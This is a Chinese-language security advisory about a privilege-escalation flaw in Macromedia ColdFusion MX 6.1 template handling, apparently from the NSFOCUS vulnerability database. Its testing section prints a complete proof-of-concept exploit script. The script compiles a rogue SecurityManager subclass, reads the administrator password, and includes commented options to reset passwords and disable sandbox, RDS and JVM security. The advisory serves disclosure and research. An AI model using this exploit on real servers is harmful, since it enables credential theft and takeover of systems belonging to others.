安全研究
安全漏洞
Macromedia ColdFusion MX模板处理权限提升漏洞
发布日期:2004-10-04
更新日期:2004-10-08
受影响系统:
Macromedia ColdFusion Server MX 6.1描述:
BUGTRAQ ID: 11316
Macromedia ColdFusion MX Server是一款强大的WEB应用服务程序,可以自动建立站点和WEB应用程序。
Macromedia ColdFusion MX Server在处理部分模板时存在访问验证错误,远程攻击者可以利用这个漏洞以管理员权限执行部分操作。
Macromedia ColdFusion MX服务程序在处理部分恶意模板时不正确,可导致恶意命令在服务器上执行。
<*来源:Eric Lackey (eric.lackey@gmail.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<cfscript>
objFileWriter = CreateObject("java","java.io.FileWriter");
objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");
objJavaC = CreateObject("java","sun.tools.javac.Main");
objString = CreateObject("java","java.lang.String");
objFile = CreateObject("java","java.io.File");
if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }
strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java";
strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";
strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";
strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";
fileWriter = objFileWriter.init("#strJavaSource#",false);
fileWriter.write("import coldfusion.security.SecurityManager;");
fileWriter.write("import java.io.File;");
fileWriter.write("public class SecurityExploit extends SecurityManager {");
fileWriter.write("public SecurityExploit(File arg0, File arg1) {");
fileWriter.write("super(arg0, arg1); }");
fileWriter.write("public boolean isAdminSecurityEnabled(){");
fileWriter.write("return false;}}");
fileWriter.flush();
fileWriter.close();
str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");
strArr = str.split(",");
byteArray = objByteArray.init();
compileObj =objJavaC.init(byteArray,str);
compileObj.compile(strArr);
obj = CreateObject("java","SecurityExploit");
file1 = objFile.init("#strNeoSecFile#");
file2 = objFile.init("#strPasswdFile#");
obj.init(file1,file2);
obj.load();
</cfscript>
<cfscript>
// Get Administrator Password
strAdminPw = obj.getAdminPassword();
// Set Administrator Password
//obj.setAdminPassword("test123");
// Turn off Sandbox Security
//obj.setSandboxSecurityEnabled(false);
// Turn off Administrator Login
//obj.setAdminSecurityEnabled(false);
// Turn off RDS Login
//obj.setRdsSecurityEnabled(false);
// Set RDS Password
//obj.setRdsPassword("test123");
// Turn off JVM Security
//obj.setJvmSecurityEnabled(false);
</cfscript>
<cfoutput>Adminstrator Password: #strAdminPw#</cfoutput>
建议:
厂商补丁:
Macromedia
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.macromedia.com/software/coldfusion/productinfo/upgrade/
浏览次数:2601
严重程度:0(网友投票)
绿盟科技给您安全的保障